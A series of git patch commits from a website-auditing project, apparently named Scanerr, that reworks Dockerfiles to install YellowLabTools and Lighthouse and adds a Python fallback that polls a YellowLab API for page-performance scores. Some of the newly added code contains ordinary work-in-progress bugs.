   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
   && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
-  && NODE_ENV=development && npm install --only=prod 
+  && NODE_ENV=development && npm install --only=prod --force
 
 # installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash 

From 62f7f2cc808b02b366ff4321d74080a12265fe0a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 09:41:40 -0700
Subject: [PATCH 204/752] force again

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 0137b28b..48f8eafd 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -48,7 +48,7 @@ WORKDIR /usr/src/ylt
 RUN apt-get update \
   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
   && git checkout e9ab1fd \
-  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
+  && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
   && NODE_ENV=development && npm install --only=prod --force
 
 # installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0

From c524d31b1ac14d4d778cd0cbe4cdd3954a87170e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 10:59:38 -0700
Subject: [PATCH 205/752] testing workdir

---
 Dockerfile | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 48f8eafd..8710a31d 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -6,6 +6,9 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 ENV YL_VERSION=develop
 
+# temp set working dir
+WORKDIR /usr/src/ylt
+
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -41,9 +44,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# temp set working dir
-WORKDIR /usr/src/ylt
-
 # install yellowlab
 RUN apt-get update \
   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \

From 28df7b74cfbc69a404b2d70c1120ce4ae2aca8dd Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 11:24:46 -0700
Subject: [PATCH 206/752] testing new yl install

---
 Dockerfile | 29 +++++++++++++++--------------
 1 file changed, 15 insertions(+), 14 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 8710a31d..f4750d20 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -4,10 +4,10 @@ ENV PYTHONUNBUFFERED 1
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
-ENV YL_VERSION=develop
+# ENV YL_VERSION=develop
 
 # temp set working dir
-WORKDIR /usr/src/ylt
+# WORKDIR /usr/src/ylt
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -28,8 +28,8 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig 
 
 # installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git \ 
-    libatk-bridge2.0-0 gconf-service libasound2 \ 
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
     libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
     libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
     libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
@@ -37,22 +37,23 @@ RUN apt-get update && apt-get install -y libfreetype6 git \
     libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
-# installing node and npm
+# installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts
+    && npm install -g n \
+    && n 14.17.3
 
 # cleaning npm
 RUN npm cache clean --force
 
-# install yellowlab
-RUN apt-get update \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
-  && git checkout e9ab1fd \
-  && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
-  && NODE_ENV=development && npm install --only=prod --force
+# # install yellowlab
+# RUN apt-get update \
+#   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
+#   && git checkout e9ab1fd \
+#   && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
+#   && NODE_ENV=development && npm install --only=prod --force
 
-# installing lighthouse & yellowlabtools --> yellowlabtools@2.2.0
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash 
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version

From 59e8ea47e2138a76531002c6328a61d2ff2dfe07 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 11:30:15 -0700
Subject: [PATCH 207/752] testing install

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index f4750d20..1659b1ef 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -40,7 +40,7 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
-    && n 14.17.3
+    && n lts
 
 # cleaning npm
 RUN npm cache clean --force

From 4a5ff7e4bceba1fdbc2cada9eb26784ca447c03b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 11:50:09 -0700
Subject: [PATCH 208/752] testing dockertized yl in seperate container

---
 docker-compose.dev.yml | 17 ++++++++++++++-
 yl/Dockerfile          | 49 ++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+), 1 deletion(-)
 create mode 100644 yl/Dockerfile

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index f6f120a9..c71edda5 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,6 +61,20 @@ services:
       - db
 
 
+  yellowlab:
+    build:
+      context: .
+      dockerfile: ./yl/Dockerfile
+    container_name: yellowlab
+    privileged: true
+    init: true
+    env_file:
+      - ./env/.env.dev
+    volumes: 
+      - yellowlab:/var/lib/yellowlab/data
+    expose:
+      - 8383
+
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx
@@ -98,4 +112,5 @@ volumes:
   certs:
   html:
   vhost:
-  pgdata:
\ No newline at end of file
+  pgdata:
+  yellowlab:
\ No newline at end of file
diff --git a/yl/Dockerfile b/yl/Dockerfile
new file mode 100644
index 00000000..4298cf0f
--- /dev/null
+++ b/yl/Dockerfile
@@ -0,0 +1,49 @@
+FROM    node:14-alpine
+
+# last commit=v1.12.0
+ENV     VERSION=develop
+ENV     CHROMIUM_VERSION 86.0.4240.111-r0
+
+# Add the volume for results
+VOLUME /usr/src/ylt/results
+
+WORKDIR /usr/src/ylt
+
+RUN     apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
+  && git clone https://github.com/gmetais/YellowLabTools.git -b ${VERSION} . \
+  && git checkout e9ab1fd \
+  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
+  && NODE_ENV=development && npm install --only=prod \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
+  && echo "http://dl-cdn.alpinelinux.org/alpine/v3.12/main" >> /etc/apk/repositories \
+  && apk upgrade -U -a \
+  && apk add \
+    libjpeg-turbo-dev \
+    chromium \
+    ca-certificates \
+    freetype \
+    freetype-dev \
+    harfbuzz \
+    nss \
+    ttf-freefont \
+  && which chromium-browser && chromium-browser --no-sandbox --version &&  chown -R nobody:nogroup . \
+  && rm -rf test doc
+
+
+# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
+
+# Run everything after as non-privileged user.
+USER nobody
+
+# Tell phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
+ENV DOCKERIZED yes
+
+#ENV DEBUG *
+
+EXPOSE  8383
+
+CMD     ["node", "bin/server.js"]
\ No newline at end of file

From 989fd81cd5a4e1e522aab8f76c06ba8772cef16f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 12:16:56 -0700
Subject: [PATCH 209/752] using image from dockerhub

---
 docker-compose.dev.yml | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index c71edda5..a8730239 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,10 +61,12 @@ services:
       - db
 
 
+
   yellowlab:
-    build:
-      context: .
-      dockerfile: ./yl/Dockerfile
+    image: ousamabenyounes/yellowlabtools 
+    # build:
+    #   context: .
+    #   dockerfile: ./yl/Dockerfile
     container_name: yellowlab
     privileged: true
     init: true
@@ -75,6 +77,7 @@ services:
     expose:
       - 8383
 
+
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx

From 5517364b4e423efa9a195c83fec166ecac63eeb0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 13:27:16 -0700
Subject: [PATCH 210/752] yellowlab not working

---
 Dockerfile                      | 16 ++---------
 app/api/utils/yellowlab.py      |  2 +-
 docker-compose.dev.yml          | 19 +------------
 k8s/prod/celery-deployment.yaml |  2 +-
 yl/Dockerfile                   | 49 ---------------------------------
 5 files changed, 6 insertions(+), 82 deletions(-)
 delete mode 100644 yl/Dockerfile

diff --git a/Dockerfile b/Dockerfile
index 1659b1ef..480b4fcc 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -2,12 +2,9 @@ FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=262000
-ENV NODE_OPTIONS="--max-old-space-size=262000"
-# ENV YL_VERSION=develop
-
-# temp set working dir
-# WORKDIR /usr/src/ylt
+ENV NODE_OPTIONS=--max_old_space_size=2000
+ENV NODE_OPTIONS="--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP=false
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -45,13 +42,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# # install yellowlab
-# RUN apt-get update \
-#   && git clone https://github.com/gmetais/YellowLabTools.git -b ${YL_VERSION} . \
-#   && git checkout e9ab1fd \
-#   && npm install jpegoptim-bin --unsafe-perm=true --allow-root --force \
-#   && NODE_ENV=development && npm install --only=prod --force
-
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 864436a4..8edd7bfe 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -132,7 +132,7 @@ def get_data(self):
                 raise RuntimeError
 
         except Exception as e:
-            print(e)
+            print(f'YELLOWLAB FAILED --> {e}')
 
             scores = {
                 "globalScore": None,
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index a8730239..5752627a 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -59,24 +59,7 @@ services:
       - redis
       - app
       - db
-
-
-
-  yellowlab:
-    image: ousamabenyounes/yellowlabtools 
-    # build:
-    #   context: .
-    #   dockerfile: ./yl/Dockerfile
-    container_name: yellowlab
-    privileged: true
-    init: true
-    env_file:
-      - ./env/.env.dev
-    volumes: 
-      - yellowlab:/var/lib/yellowlab/data
-    expose:
-      - 8383
-
+      
 
   nginx-proxy:
     container_name: nginx-proxy
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index eb23e482..ba431c66 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,7 +19,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # landonr/scanerr-server:f7ed070 #
+          image:  <IMAGE> # landonr/scanerr-server:a5f30cb # 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
diff --git a/yl/Dockerfile b/yl/Dockerfile
deleted file mode 100644
index 4298cf0f..00000000
--- a/yl/Dockerfile
+++ /dev/null
@@ -1,49 +0,0 @@
-FROM    node:14-alpine
-
-# last commit=v1.12.0
-ENV     VERSION=develop
-ENV     CHROMIUM_VERSION 86.0.4240.111-r0
-
-# Add the volume for results
-VOLUME /usr/src/ylt/results
-
-WORKDIR /usr/src/ylt
-
-RUN     apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/gmetais/YellowLabTools.git -b ${VERSION} . \
-  && git checkout e9ab1fd \
-  && npm install jpegoptim-bin --unsafe-perm=true --allow-root \
-  && NODE_ENV=development && npm install --only=prod \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/v3.12/main" >> /etc/apk/repositories \
-  && apk upgrade -U -a \
-  && apk add \
-    libjpeg-turbo-dev \
-    chromium \
-    ca-certificates \
-    freetype \
-    freetype-dev \
-    harfbuzz \
-    nss \
-    ttf-freefont \
-  && which chromium-browser && chromium-browser --no-sandbox --version &&  chown -R nobody:nogroup . \
-  && rm -rf test doc
-
-
-# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
-
-# Run everything after as non-privileged user.
-USER nobody
-
-# Tell phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
-ENV DOCKERIZED yes
-
-#ENV DEBUG *
-
-EXPOSE  8383
-
-CMD     ["node", "bin/server.js"]
\ No newline at end of file

From ec9469a9ff07ce5ef5f5bb17c254323fb2e7940a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:41:37 -0700
Subject: [PATCH 211/752] adding new Yellowlab API backup method

---
 app/api/tests.py           |   3 -
 app/api/utils/yellowlab.py | 294 ++++++++++++++++++++++++-------------
 app/scanerr/settings.py    |   1 +
 env/.env.dev.example       |   9 +-
 env/.env.local.example     |   1 +
 env/.env.prod.example      |   9 +-
 notes/Deployment.md        |   7 +
 7 files changed, 212 insertions(+), 112 deletions(-)

diff --git a/app/api/tests.py b/app/api/tests.py
index 7ce503c2..e69de29b 100644
--- a/app/api/tests.py
+++ b/app/api/tests.py
@@ -1,3 +0,0 @@
-from django.test import TestCase
-
-# Create your tests here.
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 8edd7bfe..20800500 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil, os
+import subprocess, json, uuid, boto3, shutil, os, requests
 from ..models import Site, Scan
 from scanerr import settings
 
@@ -29,6 +29,162 @@ def init_audit(self):
         return stdout_value
 
 
+    def yellowlab_api(self) -> dict:
+        """ 
+        Serves as the backup method for collecting YL metrics.
+        Sends API requests to http://yellowlab.scanerr.io:8383.
+
+        Returns --> raw YL data
+        """
+
+        # defaults
+        headers = {
+            "content-type": "application/json",
+        }
+        data = {
+            "url": self.page.page_url,
+            "waitForResponse": false,
+            "device": self.configs["device"]
+        }
+
+        # setting up initial request
+        _res = requests.post(
+            url=f'{settings.YELLOWLAB_ROOT}/api/runs',
+            data=json.dumps(data),
+            headers=headers
+        )
+
+        # retrieve response
+        run_id = res['runId']
+        
+        wait_time = 0
+        max_wait = 1200
+        done = False
+        while not done and wait_time < max_wait:
+
+            res = requests.get(
+                url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
+                headers=headers
+            ).json()
+
+            status = res['status']['statusCode']
+            position = res['status'].get('position')
+            if status == 'awaiting':
+                max_wait = (120 * position)
+            if status == 'complete':
+                done = True
+            if status == 'failed':
+                print('YELLOWLAB API FAILED')
+                raise RuntimeError
+                break
+
+            # incrementing time
+            time.sleep(5)
+            wait_time += 5
+
+
+        # getting run results
+        res = requests.get(
+            url=f'{settings.YELLOWLAB_ROOT}/api/results/{run_id}',
+            headers=headers
+        ).json()
+    
+        return data
+
+
+
+    
+    def process_data(self, data: dict) -> dict:
+        """ 
+        Accepts JSON data from either CLI or API method 
+        and parses into usable Scanerr data.
+
+        Expects the following:
+            data: <dict> or json from output
+            
+        Returns --> formatted YL data <dict> 
+        """
+
+        # initial audits object
+        audits = {
+            "pageWeight": [], 
+            "requests": [], 
+            "domComplexity": [], 
+            "javascriptComplexity": [],
+            "badJavascript": [],
+            "jQuery": [],
+            "cssComplexity": [],
+            "badCSS": [],
+            "fonts": [],
+            "serverConfig": [],
+        }
+
+        # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
+        for cat in audits:
+            cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
+            for a in cat_audits:
+                try:
+                    audit = stdout_json["rules"][a]
+                    audits[cat].append(audit)
+                except:
+                    pass
+
+        # get scores from each category
+        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
+        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
+        
+        scores = {
+            "globalScore": globalScore,
+            "pageWeight": pageWeight_score, 
+            "requests": requests_score, 
+            "domComplexity": domComplexity_score, 
+            "javascriptComplexity": javascriptComplexity_score,
+            "badJavascript": badJavascript_score,
+            "jQuery": jQuery_score,
+            "cssComplexity": cssComplexity_score,
+            "badCSS": badCSS_score,
+            "fonts": fonts_score,
+            "serverConfig": serverConfig_score,
+        }
+
+        # save audits data as json file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.json', 'w') as fp:
+            json.dump(audits, fp)
+        
+        # upload to s3 and return url
+        audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+        remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        audits_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(audit_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            )
+        # remove local copy
+        os.remove(audit_file)
+
+        data = {
+            "scores": scores, 
+            "audits": audits_url,
+            "failed": False
+        }
+
+        # returning data 
+        return data
+
+
     def get_data(self):
 
         # setup boto3 configurations
@@ -39,6 +195,7 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
         
+        # try CLI method first
         try:
             stdout_value = self.init_audit() 
             # decode bytes into string
@@ -49,9 +206,40 @@ def get_data(self):
                     error = {'error': 'yellowlab ran into a problem',}
                     return error
 
+                # convert to dict
                 stdout_json = json.loads(stdout_value)
+                data = self.process_data(data=stdout_json)
+                return data
+                
+            else:
+                raise RuntimeError
+        
+        # try API method if CLI fails
+        except Exception as e:
+            print(f'YELLOWLAB CLI FAILED, Trying API...')
+
+            try:
+                raw_data = self.yellowlab_api()
+                data = self.process_data(data=raw_data)
+                return data
+
+            except Exception as e:
+                print(f'YELLOWLAB API FAILED --> {e}')
+
+                scores = {
+                    "globalScore": None,
+                    "pageWeight": None, 
+                    "requests": None, 
+                    "domComplexity": None, 
+                    "javascriptComplexity": None,
+                    "badJavascript": None,
+                    "jQuery": None,
+                    "cssComplexity": None,
+                    "badCSS": None,
+                    "fonts": None,
+                    "serverConfig": None,
+                }
 
-                # initial audits object
                 audits = {
                     "pageWeight": [], 
                     "requests": [], 
@@ -65,108 +253,12 @@ def get_data(self):
                     "serverConfig": [],
                 }
 
-                # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-                for cat in audits:
-                    cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
-                    for a in cat_audits:
-                        try:
-                            audit = stdout_json["rules"][a]
-                            audits[cat].append(audit)
-                        except:
-                            pass
-
-
-                # get scores from each category
-                globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-                pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-                requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-                domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-                javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-                badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-                jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-                cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-                badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-                fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-                serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
-                
-                scores = {
-                    "globalScore": globalScore,
-                    "pageWeight": pageWeight_score, 
-                    "requests": requests_score, 
-                    "domComplexity": domComplexity_score, 
-                    "javascriptComplexity": javascriptComplexity_score,
-                    "badJavascript": badJavascript_score,
-                    "jQuery": jQuery_score,
-                    "cssComplexity": cssComplexity_score,
-                    "badCSS": badCSS_score,
-                    "fonts": fonts_score,
-                    "serverConfig": serverConfig_score,
-                }
-
-                # save audits data as json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(audits, fp)
-                
-                # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                audits_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(audit_file, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(audit_file)
-
                 data = {
                     "scores": scores, 
-                    "audits": audits_url,
-                    "failed": False
+                    "audits": audits,
+                    "failed": True
                 }
-
-            else:
-                raise RuntimeError
-
-        except Exception as e:
-            print(f'YELLOWLAB FAILED --> {e}')
-
-            scores = {
-                "globalScore": None,
-                "pageWeight": None, 
-                "requests": None, 
-                "domComplexity": None, 
-                "javascriptComplexity": None,
-                "badJavascript": None,
-                "jQuery": None,
-                "cssComplexity": None,
-                "badCSS": None,
-                "fonts": None,
-                "serverConfig": None,
-            }
-
-            audits = {
-                "pageWeight": [], 
-                "requests": [], 
-                "domComplexity": [], 
-                "javascriptComplexity": [],
-                "badJavascript": [],
-                "jQuery": [],
-                "cssComplexity": [],
-                "badCSS": [],
-                "fonts": [],
-                "serverConfig": [],
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
             
-        return data
+                return data
         
 
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 980feb85..557b8790 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -27,6 +27,7 @@
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
+YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 
diff --git a/env/.env.dev.example b/env/.env.dev.example
index f05120b0..8de7c30d 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -1,9 +1,10 @@
 # django
 SECRET_KEY = ask-for-this-or-generate-yourself
-CLIENT_URL_ROOT = https://app.example.io  # example
-API_URL_ROOT = https://api.example.io     # example
-LETSENCRYPT_HOST = api.example.io         # example
-VIRTUAL_HOST = api.example.io             # example
+CLIENT_URL_ROOT = https://app.example.io            # example
+API_URL_ROOT = https://api.example.io               # example
+YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LETSENCRYPT_HOST = api.example.io                   # example
+VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
 DJANGO_ALLOWED_HOSTS = *
 
diff --git a/env/.env.local.example b/env/.env.local.example
index 40b50b9c..094c121f 100644
--- a/env/.env.local.example
+++ b/env/.env.local.example
@@ -3,6 +3,7 @@ SECRET_KEY = ask-for-this
 CLIENT_URL_ROOT = http://localhost:3000
 CLIENT_URL_ROOT = http://localhost:3000
 API_URL_ROOT = http://localhost:8000
+YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
 DJANGO_ALLOWED_HOSTS = *
 
 
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 96d89f7c..287d1a69 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -1,9 +1,10 @@
 # high level django configs
 SECRET_KEY = ask-for-this-or-generate-yourself
-CLIENT_URL_ROOT = https://app.example.io    # example
-LANDING_URL_ROOT = https://example.io       # example
-API_URL_ROOT = https://api.example.io       # example
-LETSENCRYPT_HOST = api.example.io           # example
+CLIENT_URL_ROOT = https://app.example.io            # example
+LANDING_URL_ROOT = https://example.io               # example
+API_URL_ROOT = https://api.example.io               # example
+YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LETSENCRYPT_HOST = api.example.io                   # example
 DJANGO_ALLOWED_HOSTS = *
 
 
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 6c160cc2..91d366f2 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -3,6 +3,7 @@
   - [Environment](#environment)
   - [Local](#local)
   - [Remote](#remote)
+  - [Deploy Yellowlabs](#deploy-yellowlabs)
   - [Scripts](#scripts)
 
 
@@ -113,6 +114,12 @@ $ docker-compose -f docker-compose.prod.yml down -v
 ```
 
 
+## Deploy Yellowlabs
+1. Run same server set-up untill the .git portion.
+2. ```docker run -d --privileged -p 8383:8383 ousamabenyounes/yellowlabtools```
+
+
+
 &nbsp;
 
 ---

From bc3b15f3febbaef18046efa7afe3d3121b151669 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:47:37 -0700
Subject: [PATCH 212/752] fixed post data

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 20800500..37efa8ae 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -43,7 +43,7 @@ def yellowlab_api(self) -> dict:
         }
         data = {
             "url": self.page.page_url,
-            "waitForResponse": false,
+            "waitForResponse": False,
             "device": self.configs["device"]
         }
 

From c82a20aedb89f1fcb0e233f9e5d4c33f7d545f99 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:52:50 -0700
